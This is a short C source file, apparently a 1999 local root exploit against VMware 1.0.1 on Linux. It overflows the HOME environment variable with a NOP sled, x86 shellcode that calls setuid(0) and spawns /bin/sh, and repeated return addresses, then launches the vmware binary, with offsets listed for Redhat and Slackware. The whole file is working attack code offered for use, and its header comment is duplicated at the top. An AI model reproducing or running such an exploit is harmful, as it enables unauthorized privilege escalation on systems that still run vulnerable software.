vmware_ex.c

/*
* VMware v1.0.1 root sploit
* funkySh 02/07/99
vmware_ex.c

/*
* VMware v1.0.1 root sploit
* funkySh 02/07/99
*
* 1. Redhat 5.2 2.2.9 offset 800-1100
* 2. offset 1600-2200
* 1. Slackware 3.6 2.2.9 offset 0
* 2. offset ?
*
* [ 1 - started from xterm on localhost ]
* [ 2 - started from telnet, with valid display ]
*/

#include <stdio.h>

char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";


#define BUFFER 1032
#define NOP 0x90
#define RET_ADDR 0xbfffdf50
#define PATH "/usr/local/bin/vmware"

char buf[BUFFER];

void main(int argc, char * argv[])
{
int i, offset = 0;
if(argc > 1) offset = atoi(argv[1]);

memset(buf,NOP,BUFFER);
memcpy(buf+800,code,strlen(code));
for(i=854+2;i<BUFFER-2;i+=4)
*(int *)&buf[i]=RET_ADDR+offset;

setenv("HOME", buf, 1);
execl(PATH,"vmware","-display","127.0.0.1:0",0);
/* change IP if required */
}